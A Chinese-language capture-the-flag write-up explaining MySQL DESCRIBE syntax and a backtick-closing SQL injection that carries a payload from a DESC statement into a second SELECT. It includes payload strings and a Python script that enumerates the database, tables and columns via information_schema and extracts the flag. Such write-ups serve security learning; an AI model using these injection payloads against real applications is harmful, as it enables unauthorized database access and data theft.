{DESCRIBE | DESC} table_name [col_name|wlid]
DESCRIBE 提供有关一个表的列信息 col_name 可以是一个 列名或是一个包含 SQL 通配符字符 “%” 和 “_” 的字符 串。
desc 表名之后跟列名
desc 表名 之后 跟一个不存在的列名:
例题:
题目地址:http://web.jarvisoj.com:32794/
通过目录扫描发现了该站点的一个源文件index.php~
因为index.php~ 没有被nginx解析 所以可以看到源代码:
mysql中反引号的作用:
比如你想要创建一个数据库,但是这个数据库名中含有mysql的保留字,就必须用``将这个保留字给引起来
题目关键点在于:payload成功穿过第一条desc 语句,让desc语句不报错的情况下,攻击到第二条select语句
?table = test` `union select database() limit 1 offset 1
desc `secret_test` `union select database() limit 1 offset 1`
select `flag{xxx}` from secret_test` `union select database() limit 1 offset 1
上句话中 ` `起到了空格的作用,相互闭合了。
payload:
import requests
import base64
baseurl = """http://web.jarvisoj.com:32794"""
def str2Hex(stri):
return '0x'+base64.b16encode(stri.encode("utf-8")).decode("utf-8")
def showGet(url):
resp = requests.get(url)
print(resp.text)
def Db():
url = baseurl+"""?table=test` `union select database() limit 1 offset 1 """
showGet(url)
def Tables():
url = baseurl+"""?table=test` `union select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1 offset 1"""
showGet(url)
def Columns(table):
table = str2Hex(table)
url = baseurl+"""?table=test` `union select group_concat(column_name) from information_schema.columns where table_name=%s limit 1 offset 1"""%(table)
# print(url)
showGet(url)
def Data():
url = baseurl+"""?table=test` `union select group_concat(flagUwillNeverKnow) from secret_flag limit 1 offset 1"""
showGet(url)
if __name__ == "__main__":
# Db() #61d300
Tables() #secret_flag,secret_test
Columns("secret_flag") #flagUwillNeverKnow
Data() #flag{luckyGame~}